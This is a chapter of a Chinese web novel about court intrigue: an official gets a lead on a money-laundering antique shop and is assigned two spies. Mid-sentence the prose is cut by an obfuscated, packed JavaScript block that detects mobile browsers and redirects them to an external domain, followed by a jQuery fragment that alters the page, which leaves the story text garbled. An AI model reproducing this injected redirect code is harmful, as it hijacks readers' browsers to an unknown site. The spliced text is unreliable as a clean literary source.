得到陆炳那句沙哑的承诺,林渊的眼中,没有丝毫的波澜。
仿佛一切,本就该如此。
他没有立刻追问,而是将那粒丹药从瓶中倒出,用两根手指夹着,精准地,弹入了陆炳的口中。
丹药入口即化,化作一股磅礴而又温润的暖流,瞬间冲刷着他那早已残破不堪的四肢百骸。
陆炳只觉得,那些断裂的骨骼,破碎的经脉,竟是在这股神奇的力量之下,开始以一种不可思议的速度,缓缓地,愈合着,滋生着!
那种久违的、充满了生命力的感觉,让他几乎要忍不住呻吟出声!
“这……这是何等神药!”
他感受着身体的变化,眼中,是无法掩饰的震惊与狂喜。
林渊要的,不是那些虚无缥缈的罪证,而是一把能直接**严嵩心脏的、最锋利的刀!
陆炳沉吟了片刻,他知道,这是他的投名状。
他没有丝毫犹豫,压低了声音,说出了一个让林渊都感到有些意外的名字。
“琉璃厂,宝源斋。”
“宝源斋?”
林渊的眉头,微微一挑。
琉璃厂是京城有名的古玩字画一条街,而这宝源斋,更是其中最负盛名的一家。
据说,其老板,是个附庸风雅的富商,与京中许多王公贵族,都有往来。
“没错。”
陆炳的眼中,闪过一丝只有核心圈子才知晓的精光,“宝源斋的老板,名叫钱通,表面上,是个八面玲珑的古董商。但实际上,他却是严相安插在京城,负责**、联络、以及处理一些见不得光交易的……大掌柜!”
“严党在北地搜刮的民脂民膏,有近三成,都是通过宝源斋那些看似正常的古玩交易,被洗得干干净净,最终,流入了相爷的私库。”
“而钱通的手中,必然,有一本真正的账册。一本,记录了每一笔**往来的……生死簿!”
林渊的心中,瞬间了然。
好一个宝源斋,好一个钱通!
这简直就是严嵩在京城的心脏动脉!
一旦斩断,不仅能让严嵩伤筋动骨,更能顺藤摸瓜,牵扯出无数与他勾结的贪官污吏!
“很好。”
林渊满意地点了点头,“这个消息,很有价值。”
他将那封家书,放在了牢房的地面上,随即,转身,头也不回地离去。
看着林渊远去的背影,又看了看地上那封承载着他所有希望的家书,陆炳那双死灰色的眼睛里,第一次,燃烧起了一股名为“复仇”的、冰冷的火焰。
他知道,他与严嵩之间,已经不死不休。
当林渊走出那天牢的铁门,重新沐浴在阳光之下时,他看到,曹正淳正带着他那招牌式的、谦卑的笑容,站在一辆不起眼的青布马车旁,似乎,已经等候多时。
“林大人,辛苦了。”
曹正淳迎了上来,那声音尖细,却又带着几分亲热,“陛下说了,您初入京城,人生地不熟,身边总要有些得力的人手,才好为陛下分忧。”
他对着马车的方向,轻轻地,拍了拍手。
马车的帘子,被从里面掀开。
两个身影悄无声息地,从车上走了下来,对着林渊单膝跪地,声音,整齐划一,却又冰冷得不带丝毫感情。
“‘暗鸦’,参见行走大人!”
“‘残月’,参见行走大人!”
林渊的目光,落在这两人身上,瞳孔,微微一缩。
左边一人,是个身形中等的汉子,三十岁上下,相貌平平,属于那种扔进人堆里,就再也找不出来的类型。
但他身上,却散发着一股与他外貌截然不符的、如同影子般的诡谲气息。
他,便是“暗鸦”。
而右边一人,则是个女子。
她看起来,不过二十出头,身穿一身利落的夜行衣,身段窈窕,面容,却被一张银色的面具遮住,只露出一双如同寒星般的、冷冽的眸子。
她的手中,握着一柄比寻常短剑,更窄,更薄的奇形兵刃。
她,便是“残月”。
林渊能感觉到,这两人都是真正从尸山血海中爬出来的、顶尖的**与密探!
“他们二人,连同他们手下的一个十人小组,从今日起,便归林大人您,全权调遣。”
曹正淳笑眯眯地说道,“他们是陛下,为您这把‘暗刀’,配的‘刀鞘’。只听从您一人的命令,也只对您一人负责。”
林渊的心中,再次对那位皇帝的手段,感到了深深的忌惮。
他知道,这两人既是他的助力,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354141|183621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是皇帝安插在他身边最隐秘的监视者。
但他面上,却露出了“感激涕零”的表情,对着曹正淳深深一揖。
“请公公,代我,谢陛下天恩!”
曹正淳满意地点了点头,随即,又“不经意”地问道:“咱家看林大人,似乎与那陆炳,相谈甚欢。不知……可有什么收获啊?”
“回公公,”
林渊立刻恭敬地回答,“陆炳此人,嘴硬得很。不过,下官倒是从他口中,撬出了一条有趣的线索。他说,宰相府的银子,似乎,与琉璃厂的一家古玩店,有些不清不楚的干系。”
他将“宝源斋”这个名字,隐去了。
他要看看,皇帝,究竟给了他多大的自**。
“哦?古玩店?”
曹正淳的眼中,闪过一丝精光,却没有再追问,“那咱家就预祝林大人马到成功了。”
说罢,他便笑着,转身离去。
林渊知道,自己通过了皇帝的第二次考验。
他转过身,看着眼前这两个单膝跪地的、属于他的第一批手下,那双深邃的眸子里,闪过了一丝冰冷的、属于上位者的威严。
“起来吧。”
“谢大人。”
“暗鸦”与“残月”,同时起身,声音,依旧冰冷。
林渊没有多余的废话,他直接下达了他作为“镇抚司行走”的,第一个命令。
“暗鸦,你去查。我要知道,琉璃厂‘宝源斋’,老板钱通,所有的资料。他的背景,他的喜好,他的仇人,他每日的行动轨迹,他府上有多少护卫,他养的狗,一天吃几顿饭。我要,巨细无遗。”
“残月,”
他的目光,转向那个戴着面具的女子,“你,负责制定行动方案。我要在三天之内,神不知鬼不觉地,进一次宝源斋的内室,看一看,他那本‘生死簿’,究竟藏在哪里。”
“遵命!”
二人没有任何疑问,再次躬身领命,随即,身形一闪,便如同两滴融入大海的水珠,悄无声息地,消失在了京城那繁华的、人来人往的街道之中。
林渊看着他们消失的方向,嘴角,缓缓勾起了一抹冰冷的、如同猎人般的笑容。
他知道,他这把皇帝亲赐的“暗刀”,终于,要在这座京城里,第一次饮血了。